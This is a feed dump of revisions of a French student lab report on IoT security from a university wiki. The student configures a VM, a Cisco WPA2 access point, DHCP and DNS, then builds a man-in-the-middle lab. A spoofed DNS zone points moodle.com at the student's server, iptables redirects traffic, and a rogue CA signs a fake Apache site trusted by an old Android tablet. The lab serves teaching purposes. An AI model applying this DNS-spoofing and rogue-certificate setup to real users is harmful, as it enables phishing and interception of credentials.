&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:1107px-Titre_page.png&amp;diff=10514</id>
		<title>Fichier:1107px-Titre page.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:1107px-Titre_page.png&amp;diff=10514"/>
		<updated>2025-10-07T16:59:43Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10513</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10513"/>
		<updated>2025-10-07T16:58:10Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre un place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur du mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routé est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur à accès à internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de coté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur cisco, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;.La première étape fut la création du ssid &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin on mets en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord on modifie /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on créer la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone exemple.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vert un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis on configure apache2&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommé CertiFiable:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis on vient générer une demande de signature de certificat:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;Puis on vient signer le site avec le certificat de CertiFiable:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sur le faux Moodle mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposé est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai du prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installer &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solution avant que la VM ne crash d'elle même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La premier est toute simple, connecter la Zabeth directement au wifi, ce qui est difficile à distance. La seconde, qui est je pense possible, changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Titre_page.png&amp;diff=10512</id>
		<title>Fichier:Titre page.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Titre_page.png&amp;diff=10512"/>
		<updated>2025-10-07T16:57:28Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;.&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10511</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10511"/>
		<updated>2025-10-07T16:40:12Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre un place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur du mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routé est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur à accès à internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de coté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur cisco, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;.La première étape fut la création du ssid &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
